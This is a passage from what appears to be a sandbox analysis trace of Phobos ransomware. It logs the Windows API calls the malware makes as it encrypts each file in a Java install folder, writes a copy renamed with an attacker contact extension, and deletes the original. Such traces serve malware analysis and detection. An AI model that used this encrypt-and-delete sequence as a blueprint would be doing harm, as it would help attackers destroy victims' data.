Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4a50, dwBufLen=0x4a50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4a50) returned 1 [0139.521] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x4a50, lpOverlapped=0x0) returned 1 [0139.522] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752cd8) returned 1 [0139.522] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.522] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x30, dwBufLen=0x30 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x30) returned 1 [0139.522] CryptDestroyKey (hKey=0x752cd8) returned 1 [0139.522] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xe2, lpOverlapped=0x0) returned 1 [0139.522] CryptDestroyKey (hKey=0x753018) returned 1 [0139.522] CloseHandle (hObject=0x308) returned 1 [0139.522] CloseHandle (hObject=0x2f4) returned 1 [0139.522] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll")) returned 1 [0139.523] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0139.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0139.523] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=16448) returned 1 [0139.523] CloseHandle (hObject=0x2f4) returned 1 [0139.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 0x20 [0139.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0139.524] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.524] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0139.524] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752cd8) returned 1 [0139.524] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.524] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x4040, lpOverlapped=0x0) returned 1 [0139.569] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4050, dwBufLen=0x4050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4050) returned 1 [0139.569] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x4050, lpOverlapped=0x0) returned 1 [0139.570] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752c58) returned 1 [0139.570] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.570] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0139.570] CryptDestroyKey (hKey=0x752c58) returned 1 [0139.570] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0139.570] CryptDestroyKey (hKey=0x752cd8) returned 1 [0139.570] CloseHandle (hObject=0x2f4) returned 1 [0139.570] CloseHandle (hObject=0x308) returned 1 [0139.570] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 1 [0139.571] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0139.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0139.571] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=16448) returned 1 [0139.571] CloseHandle (hObject=0x308) returned 1 [0139.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 0x20 [0139.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0139.572] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.572] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.572] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0139.572] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752b18) returned 1 [0139.572] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.572] ReadFile (in: hFile=0x308, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x4040, lpOverlapped=0x0) returned 1 [0139.661] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4050, dwBufLen=0x4050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4050) returned 1 [0139.661] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x4050, lpOverlapped=0x0) returned 1 [0139.662] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752d58) returned 1 [0139.662] CryptSetKeyParam (hKey=0x752d58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.662] CryptEncrypt (in: hKey=0x752d58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0139.662] CryptDestroyKey (hKey=0x752d58) returned 1 [0139.662] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0139.662] CryptDestroyKey (hKey=0x752b18) returned 1 [0139.662] CloseHandle (hObject=0x308) returned 1 [0139.662] CloseHandle (hObject=0x2f4) returned 1 [0139.662] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 1 [0139.663] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0139.663] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0139.663] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=234560) returned 1 [0139.663] CloseHandle (hObject=0x2f4) returned 1 [0139.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 0x20 [0139.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0139.664] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.664] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.664] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0139.675] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752cd8) returned 1 [0139.675] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.675] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x39440, lpOverlapped=0x0) returned 1 [0139.767] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x39450, dwBufLen=0x39450 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x39450) returned 1 [0139.768] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x39450, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x39450, lpOverlapped=0x0) returned 1 [0139.787] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752a58) returned 1 [0139.787] CryptSetKeyParam (hKey=0x752a58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.788] CryptEncrypt (in: hKey=0x752a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0139.788] CryptDestroyKey (hKey=0x752a58) returned 1 [0139.788] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0139.788] CryptDestroyKey (hKey=0x752cd8) returned 1 [0139.788] CloseHandle (hObject=0x2f4) returned 1 [0139.788] CloseHandle (hObject=0x308) returned 1 [0139.788] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll")) returned 1 [0139.792] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0139.792] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0139.792] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=16448) returned 1 [0139.793] CloseHandle (hObject=0x308) returned 1 [0139.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 0x20 [0139.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0139.793] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.793] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.793] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0139.793] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752a18) returned 1 [0139.793] CryptSetKeyParam (hKey=0x752a18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.793] ReadFile (in: hFile=0x308, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x4040, lpOverlapped=0x0) returned 1 [0139.906] CryptEncrypt (in: hKey=0x752a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4050, dwBufLen=0x4050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4050) returned 1 [0139.906] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x4050, lpOverlapped=0x0) returned 1 [0139.907] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752b18) returned 1 [0139.907] CryptSetKeyParam (hKey=0x752b18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.907] CryptEncrypt (in: hKey=0x752b18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0139.907] CryptDestroyKey (hKey=0x752b18) returned 1 [0139.907] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0139.907] CryptDestroyKey (hKey=0x752a18) returned 1 [0139.907] CloseHandle (hObject=0x308) returned 1 [0139.907] CloseHandle (hObject=0x2f4) returned 1 [0139.907] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe")) returned 1 [0139.908] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0139.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0139.908] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=57408) returned 1 [0139.908] CloseHandle (hObject=0x2f4) returned 1 [0139.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 0x20 [0139.908] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0139.909] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.909] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0139.909] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0139.909] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752ad8) returned 1 [0139.909] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.909] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0xe040, lpOverlapped=0x0) returned 1 [0139.949] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xe050, dwBufLen=0xe050 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0xe050) returned 1 [0139.949] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xe050, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xe050, lpOverlapped=0x0) returned 1 [0139.950] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752e58) returned 1 [0139.950] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0139.950] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x50, dwBufLen=0x50 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x50) returned 1 [0139.950] CryptDestroyKey (hKey=0x752e58) returned 1 [0139.950] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x102, lpOverlapped=0x0) returned 1 [0139.950] CryptDestroyKey (hKey=0x752ad8) returned 1 [0139.951] CloseHandle (hObject=0x2f4) returned 1 [0139.951] CloseHandle (hObject=0x308) returned 1 [0139.951] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 1 [0139.952] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0139.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0139.952] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=97856) returned 1 [0139.952] CloseHandle (hObject=0x308) returned 1 [0139.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 0x20 [0139.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0139.952] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, 